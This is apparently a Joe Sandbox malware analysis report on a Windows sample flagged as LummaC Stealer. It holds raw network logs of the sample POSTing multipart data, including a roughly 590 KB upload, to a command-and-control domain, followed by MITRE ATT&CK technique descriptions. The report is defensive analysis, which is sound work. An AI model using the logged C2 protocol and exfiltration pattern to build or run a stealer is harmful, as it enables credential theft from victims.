2025-03-17 15:09:54 UTC	814	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 15:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RJcAwHpc52Pr2sNckIRPJ7oQ2p9di%2FPh%2F9gjgkCfPZnkOF9X5JvPwYcr59W6jTAydXnVC0Tn8kYwZBIWmxYaBGpJc0Nwqh6kmzXVgwhovORzw05ddc6fSN6CySEJtL8r%2Fi8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921d69fcd9a44372-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1586&rtt_var=600&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21565&delivery_rate=1817050&cwnd=206&unsent_bytes=0&cid=76ec8a98c42dad0d&ts=564&x=0"
2025-03-17 15:09:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-03-17 15:09:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49731	172.67.212.102	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:56 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=07BV10XDC9BVBKIT57 Cookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2387 Host: codxefusion.top
2025-03-17 15:09:56 UTC	2387	OUT	Data Raw: 2d 2d 30 37 42 56 31 30 58 44 43 39 42 56 42 4b 49 54 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 30 37 42 56 31 30 58 44 43 39 42 56 42 4b 49 54 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 36 4a 56 42 54 58 2d 2d 0d 0a 2d 2d 30 37 42 56 31 30 58 44 43 39 42 56 42 4b 49 54 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 37 42 56 31 30 58 44 43 39 42 56 42 4b 49 54 35 37 0d 0a 43 6f Data Ascii: --07BV10XDC9BVBKIT57Content-Disposition: form-data; name="act"send_message--07BV10XDC9BVBKIT57Content-Disposition: form-data; name="lid"6JVBTX----07BV10XDC9BVBKIT57Content-Disposition: form-data; name="pid"1--07BV10XDC9BVBKIT57Co
2025-03-17 15:09:56 UTC	805	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 15:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e9l513SLhtZff22g0j89PPtz9bvavwevPqu5wkoHOhoH00dmdqHlkWXvjRmCgAM8HxGPOZBeUuOYuy0WMpOhEqCbYfjLe2DDb5Yrlbxejvl2I9FIyVxvrEZQ53rAEnTEAPw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921d6a09ff144400-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2051&min_rtt=2031&rtt_var=803&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=3392&delivery_rate=1329690&cwnd=147&unsent_bytes=0&cid=c4f413c8985ef126&ts=558&x=0"
2025-03-17 15:09:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-03-17 15:09:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49733	172.67.212.102	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:57 UTC	362	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JYQEYWKNX Cookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 590001 Host: codxefusion.top
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: 2d 2d 4a 59 51 45 59 57 4b 4e 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 65 0d 0a 2d 2d 4a 59 51 45 59 57 4b 4e 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 36 4a 56 42 54 58 2d 2d 0d 0a 2d 2d 4a 59 51 45 59 57 4b 4e 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 59 51 45 59 57 4b 4e 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --JYQEYWKNXContent-Disposition: form-data; name="act"send_message--JYQEYWKNXContent-Disposition: form-data; name="lid"6JVBTX----JYQEYWKNXContent-Disposition: form-data; name="pid"1--JYQEYWKNXContent-Disposition: form-data; name="
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: b6 6c cb f3 07 a1 dd 9e 7e 0a 52 35 c0 64 88 e2 0e e7 08 4d a5 63 60 e9 57 72 72 a5 53 b2 f6 15 2c 28 9c 84 1d 84 cf 85 1b 55 43 10 55 5a 05 68 bc c7 df 15 4d 11 a4 de 50 fc bc 25 09 3d 45 7c 38 fc aa 37 4a 78 9f 22 d0 98 fa 69 fa 7f ab 5e 05 00 ef 9a 28 75 1e 50 95 b1 cd 6b bc 60 a8 04 22 73 2a c1 e9 36 49 cf 5a 76 63 f6 f2 70 24 a0 bc 5d d4 4d d6 a3 2f 2c 56 27 5d a3 40 f4 03 22 e6 38 60 99 9c 0e f7 31 60 18 bc 5d 9e 1a 88 3f 62 50 e9 b1 4f 23 05 19 76 98 ed e2 40 9f 59 8f d5 44 ba 3c 09 a1 4b 66 2b 33 f3 36 90 bc b5 0e 2f 2f 8f 27 5a ec 7c bb 2d 11 16 98 a0 46 ae 80 54 f3 5d a0 8c f6 9d 2e 2f 37 4e c7 f7 d8 21 8a d6 76 62 47 a3 56 7e 74 b5 d4 86 cc cc e9 e5 ec b7 7a b2 09 d6 fc 24 02 3d 03 4d 15 5a 55 9e c9 5d 01 3e 87 c9 87 d0 01 5c 60 7a 00 b9 b4 ad Data Ascii: l~R5dMc`WrrS,(UCUZhMP%=E\|87Jx"i^(uPk`"s*6IZvcp$]M/,V']@"8`1`]?bPO#v@YD<Kf+36//'Z\|-FT]./7N!vbGV~tz$=MZU]>\`z
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: 2a 4f 39 ad 49 df fb 39 c5 5b eb 50 58 b9 bc 80 19 1a f6 fb 39 bf 50 31 7b 82 35 b8 2d ed 71 2d eb 12 4b c9 c3 b3 05 4e d9 17 9f 3f fc 67 f8 9c b0 dd e8 65 e2 ae b7 59 c5 8c 2a 4e b0 37 48 a9 58 13 f2 56 7f 0b 96 1a fd c6 0a ce 00 70 b3 43 78 31 74 a0 fa f7 77 53 d3 05 62 e9 96 36 2b 8b 91 ef 2b ae 5e 3b 16 5a 39 85 f6 1b 3c d3 35 14 b7 19 3b f4 54 c1 2a 07 96 6f 1d 79 ed 50 cd 43 bf a1 b1 c3 bb 5b 32 7e 0d c8 ae e1 82 ac 76 cf fd d2 56 26 fb c0 11 f7 79 40 77 13 00 b6 f7 8f 65 f4 2e 7a 2d e5 0c 83 5c ec dd dd e0 94 ff 45 65 1c e2 e0 2a dc a5 42 41 9f 4f dd 03 d8 87 19 02 f3 02 ec 9b ff 77 36 14 26 0b f5 e6 0a 26 03 4e 16 a9 23 e6 a3 b5 28 aa 0e 02 7e 82 4d ec ed 6e 8c da 0f 85 89 32 2f a4 df 4b cf dc 0e e7 56 8a ba c7 05 2a af 0a a7 2b ac 37 3f f1 4e 29 Data Ascii: O9I9[PX9P1{5-q-KN?geYN7HXVpCx1twSb6++^;Z9<5;ToyPC[2~vV&y@we.z-\EeBAOw6&&N#(~Mn2/KV*+7?N)
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: 27 36 0f 7c c1 76 29 39 51 0a ba b0 ab 37 93 15 e6 ac 74 d4 a0 12 c0 00 7b a6 41 b6 40 f9 d7 4f fa fd fa 9a 33 02 14 c4 7c d6 47 22 37 e4 cd 0e 65 13 35 37 17 f7 50 15 9b e7 c3 6c cb a7 c8 ca 4f 7a a1 34 11 57 58 b6 51 75 dd 3f 03 e1 bd f1 f8 56 45 26 d2 b9 c3 23 11 8c 55 e0 96 b3 97 52 ae 5f 82 d2 9b 3f c2 40 c0 8b 7f 9b c6 66 c0 e9 35 b5 cf 6b 91 a3 c3 9a 99 2b f7 8f ff 20 5f 04 3d 0a 7f b7 61 f1 ee 87 ff b5 e7 ff bb 4f f2 14 82 7d 03 f3 f7 00 f4 eb 19 22 3d 47 38 7e bd 8e 93 00 ba 7d 25 c9 3c 04 12 30 8a 75 fa 97 6b eb dd e1 75 0e fa d7 af 76 e4 00 f2 54 e4 94 06 70 35 74 d4 07 d6 e3 ac 1f f6 16 86 59 29 46 86 7c dc 1b 99 b7 e5 20 51 08 2b 1a 41 3c 86 cd 17 a8 4f 17 ed fb 8f bf fe fd a5 64 b3 8b 68 18 41 54 fc 6d b2 e0 1a 5c 06 06 cd ae 2a 81 2b ed 31 Data Ascii: '6\|v)9Q7t{A@O3\|G"7e57PlOz4WXQu?VE&#UR_?@f5k+ _=aO}"=G8~}%<0ukuvTp5tY)F\| Q+A<OdhATm\*+1
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: cb 8a 46 27 4c 12 0e a9 20 8a 27 e4 39 aa b3 6b e4 ec df bb a9 c2 ba 7a f3 a8 75 96 08 f5 c2 a3 a7 d2 8d 0c 62 bd 93 8e 11 4c 20 a9 9d 4e 2d 75 98 82 61 46 e5 8e af 87 ce 6d 5e b8 ac f4 97 ec 70 23 fd b6 6b 4e 3a 48 9e b5 0e ae fc 1b 2a 69 d9 c9 e4 64 4b ef ed 62 b7 e3 85 38 0f 70 ed 5b 6a 37 e3 83 47 7d 64 44 bc 98 88 e4 7b 44 fb b3 d0 f6 8d 3c 0d b8 df 81 6c b5 9d 6f cf e5 d0 66 28 d7 18 b4 fa 69 28 ef 9e e3 75 f8 2b 55 0a 14 1b bf 73 04 8c eb cb 92 30 53 00 ce 3a 2c ba af 67 ac 15 67 26 17 16 bf 7d 23 a3 cd 97 bd 5f dd fb 61 d2 b2 f0 f8 2f 21 33 09 85 33 8c 16 6d d2 11 1d a4 87 0f b9 d9 cb 4f 3c cb 5e b0 62 d9 68 b1 da d2 d9 2b 5f 2f 12 93 34 dc 0e 17 d2 81 19 7f ac ef 33 b1 3b 37 f8 20 32 64 76 be e4 67 6d 4e 6c 91 0e 82 43 a0 49 ca 09 0c 5b 94 7c 18 Data Ascii: F'L '9kzubL N-uaFm^p#kN:H*idKb8p[j7G}dD{D<lof(i(u+Us0S:,gg&}#_a/!33mO<^bh+_/43;7 2dvgmNlCI[\|
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: 32 02 6c 03 0e 40 5d 1c 28 6c 3b 4d a1 dc 28 bf cf 9d 54 81 f9 a4 2a f4 6c 3f e8 9d 3a 43 db 3b b8 d4 da 70 9b 06 51 b4 89 b2 b2 a0 97 1b 33 6b 16 d6 9c 81 26 63 c3 de d5 1b d1 6a f6 ae f7 a0 41 af c7 ad 93 08 80 0d a7 ed fa 40 91 67 75 6e 23 dd a4 9a 21 85 04 32 ac 05 c0 ac 38 e6 91 fd e5 7c e4 8f 1e f3 16 a5 d5 d7 ea e1 7b 1f 68 9d 4e 24 14 5d ce 32 c4 c2 e2 2b 81 e4 7d cb 6c a3 c7 c3 7a 5e bd 07 f9 54 1e 70 ca b3 b2 7e 51 9f 09 0b 95 5c c2 80 b2 13 36 d9 b4 e3 f2 7c 3b d7 15 51 dd 68 0d f6 57 40 b9 e9 48 7f c3 cf e8 d9 8f 47 c0 d0 96 51 24 5c 83 b5 49 09 e9 1e 31 db 79 00 49 9c 0d ad dc b2 ef d5 6f 4a e4 73 cd 1c a7 ab 88 b6 d4 93 b0 e1 5e a8 51 bd 6f 46 17 52 70 78 c9 d8 72 4a c5 36 60 fd dd 5b b8 33 26 2f 88 c0 be 71 73 03 bb ab 46 7e fe 0b dd 82 f9 Data Ascii: 2l@](l;M(T*l?:C;pQ3k&cjA@gun#!28\|{hN$]2+}lz^Tp~Q\6\|;QhW@HGQ$\I1yIoJs^QoFRpxrJ6`[3&/qsF~
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: b1 65 18 91 48 9f cc 8a 1e 58 0e af f6 10 74 66 08 fc ae f1 de 77 ea c4 28 d5 c3 23 88 74 d1 00 b8 1d 13 d0 c3 c0 83 b7 de 42 b4 50 a8 ee 3e 0a be 41 44 8a 2c 4e 04 1c c4 cf e2 c0 2c 66 67 19 42 89 69 cd bf b9 dc 98 e7 c2 89 e6 4a 34 1d b4 a5 12 8d 5f 82 32 01 d4 7f 83 97 a5 18 13 43 a2 5c c8 bf 7e d0 6d 56 4f 2b 90 e5 fe 37 f8 5f 88 f6 fe 19 35 53 0a ee 96 3a d9 2b 71 47 10 35 3d 35 40 72 df 2e 2b 76 9a 19 dd 79 26 35 62 75 db 08 47 7f 33 a3 f1 4a 6e 9a 95 3d d6 26 1e d1 7e 00 5f 81 6b 72 72 3c 93 4c 4e 64 58 4c 6c dd b8 56 e3 aa df a5 44 cf 66 e8 6d ff 5e 65 f3 c9 86 25 1a 7d 7e b6 c8 84 b6 26 59 56 4c 85 cc 0c 03 2b 5f 80 aa 17 02 b7 59 12 f5 3a 86 e9 e5 5b 3f a0 93 ea 36 bb fd c0 74 90 2f 88 96 86 df 7d 6b 43 fc 94 e8 cc 8d 50 df 15 a1 b5 37 c6 96 8a Data Ascii: eHXtfw(#tBP>AD,N,fgBiJ4_2C\~mVO+7_5S:+qG5=5@r.+vy&5buG3Jn=&~_krr<LNdXLlVDfm^e%}~&YVL+_Y:[?6t/}kCP7
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: a8 7c d1 3a c1 c2 2e 0e 5a c6 15 95 21 92 9a 73 7d 51 33 64 57 b4 07 12 98 0c 5b 10 07 12 a3 28 a6 a6 98 e0 2f 21 b7 64 f2 01 6e 64 9f 87 92 6e 2d 6c 5a be 3b f8 08 6e 28 f6 a6 48 e0 a6 bf 9b c1 27 58 13 f6 cf f9 ee 44 ab a7 84 6a fc 39 b6 db 5b 0d 5e 25 7b 6a f8 4d 31 c1 62 a9 c3 2e 69 a5 3e ee f0 e3 1a cc 12 fa 37 f8 39 39 b0 af d6 d0 57 83 8e bb f3 60 9a 44 82 b6 f1 5a a2 27 d1 ef de 22 13 a8 94 67 5f b1 e7 57 dd 22 f2 da a1 6e 93 30 d4 86 b9 85 13 d1 87 b7 14 cc d2 f7 5c fd 6c 32 bc f9 d4 4d 50 3a 7e b3 b6 ab 46 98 c6 bf 96 b8 b5 f0 3a 25 2a 77 e7 76 9f b7 97 8f 5b 8f 97 44 6c cf 1b 7a b1 57 71 8e 60 b7 f0 cb d0 40 90 ac 1a 8d 17 28 cd f9 34 53 4e 5e 9f 18 aa 78 d7 d4 d8 68 d5 3d 64 51 d8 b7 37 e4 f8 52 3f c5 eb 24 d8 07 9a 43 32 3f 85 38 fd 32 1e 35 Data Ascii: \|:.Z!s}Q3dW[(/!dndn-lZ;n(H'XDj9[^%{jM1b.i>799W`DZ'"g_W"n0\l2MP:~F:%*wv[DlzWq`@(4SN^xh=dQ7R?$C2?825
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: b7 5c c2 7c 7e 76 32 d6 40 7d 23 a7 f0 82 a0 92 da 55 23 19 2b 61 04 18 59 da 22 0f d0 58 0b 1d c2 c3 be 7f 3f 63 fd 79 2d a4 4d c5 fd d5 c7 25 cf a1 35 7b fc af d0 83 ff ea 45 7e b3 bc 06 58 4b bf 95 d7 be 48 0b ca ee 50 8b 16 a5 1a ac 35 67 48 c0 fa ee 48 e8 74 c8 97 08 9c e0 46 b4 16 3f 21 e5 d6 01 e3 0f 87 d7 0e 6f 87 2f ff 18 6d fc 69 7c 69 78 51 0f c7 47 8b 18 f4 20 8a 2a 87 82 6d de 8e 11 7d c0 4a fb 2b a6 e1 e0 3f 48 f0 cf 7c c7 8b 1f 63 19 7f ff 6a fc f6 b8 0c 46 ff 48 92 2c 2a 84 c5 84 f2 4e f4 fa 4c 35 cc 8d 46 c7 6e fd 00 cb 4f 56 5b 5c 1f 3b 1c e5 f7 ef af 0d 92 81 c1 a8 1d 7d 1e 75 bd 6f 30 25 c1 ce e4 c3 81 d2 ab ed 74 80 f0 bb 51 0a 5d 51 e4 98 ec 88 dd fe 62 a0 c8 b6 ff d9 a5 2a 37 fe df 65 2f e4 38 6a 06 68 75 19 60 7a 1c dd 77 64 dc 6a Data Ascii: \\|~v2@}#U#+aY"X?cy-M%5{E~XKHP5gHHtF?!o/mi\|ixQG m}J+?H\|cjFH,NL5FnOV[\;}uo0%tQ]Qb*7e/8jhu`zwdj
2025-03-17 15:09:57 UTC	15331	OUT	Data Raw: 1a ce db b3 8b c2 c9 54 95 61 66 e3 c1 c5 93 b5 dc 0b 35 bf 3f 77 2e b6 ee 6d 6f 39 48 f4 bd c0 19 ea 1c 6e 1b 0e 9e c8 60 47 ba d6 a6 53 99 ec f2 53 c4 4f 44 76 03 6e f1 60 56 e5 95 e3 50 ed db 1b 4f 21 42 12 0c eb 72 bd 31 50 b3 20 f9 54 c8 6b 66 cc 33 2c 18 0e 9e 37 2c 6a ed 9a 78 71 a0 3c ab 7c b7 7f f5 75 6f 65 ff 6a ad 0c cf 81 b2 cf 59 9e cc e6 93 8a 08 04 a8 4f 5c 9b 29 6e ff 95 aa 56 b1 87 4b 4c 7d f3 98 f6 70 64 e6 8f af c3 03 f4 f6 b3 57 24 19 69 16 66 2f 52 6c e9 c3 f7 4a 9c d5 85 7f db c6 0f df 7c 6d 9b fc 45 b2 ba f3 c2 7f c3 b2 03 32 84 0b 5b a2 f1 12 7d ce fa be 7b 44 5f b6 5e ec cf ad 88 8c 3e ef 35 ec e5 8d 48 12 d5 bb d0 14 25 fe a6 ee ea f3 3a 32 2a ca fa bd 62 e8 ed 4f 0f d2 05 a4 75 2b d3 94 6d de 0b 50 a5 61 f2 5c b2 0d 72 97 d9 b7 Data Ascii: Taf5?w.mo9Hn`GSSODvn`VPO!Br1P Tkf3,7,jxq<\|uoejYO\)nVKL}pdW$if/RlJ\|mE2[}{D_^>5H%:2*bOu+mPa\r
2025-03-17 15:09:59 UTC	824	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 15:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vXhTdP%2BN7Ef1QuVw%2BsEoCsOs3SFU%2BpTTCXsAt8VzTjlVsrW5l50OA%2F7IZaoWgDzO78B4m9KlDEh8KciveQ39a0NCBTv%2FQPbPCG6VEb%2FiLiBB1h6UgVlTLazwSmvfT7TLya0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921d6a133dd1727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1788&rtt_var=694&sent=207&recv=608&lost=0&retrans=0&sent_bytes=2840&recv_bytes=592671&delivery_rate=1549071&cwnd=203&unsent_bytes=0&cid=f587e81b500ad367&ts=1780&x=0"

Statistics

CPU Usage

• 9uB9RDznXl.exe

Click to jump to process

Memory Usage

• 9uB9RDznXl.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Target ID:	1
Start time:	11:09:43
Start date:	17/03/2025
Path:	C:\Users\user\Desktop\9uB9RDznXl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\9uB9RDznXl.exe"
Imagebase:	0x7e0000
File size:	7'974'400 bytes
MD5 hash:	ACCDBD5044408C82C19C977829713E4F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9uB9RDznXl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

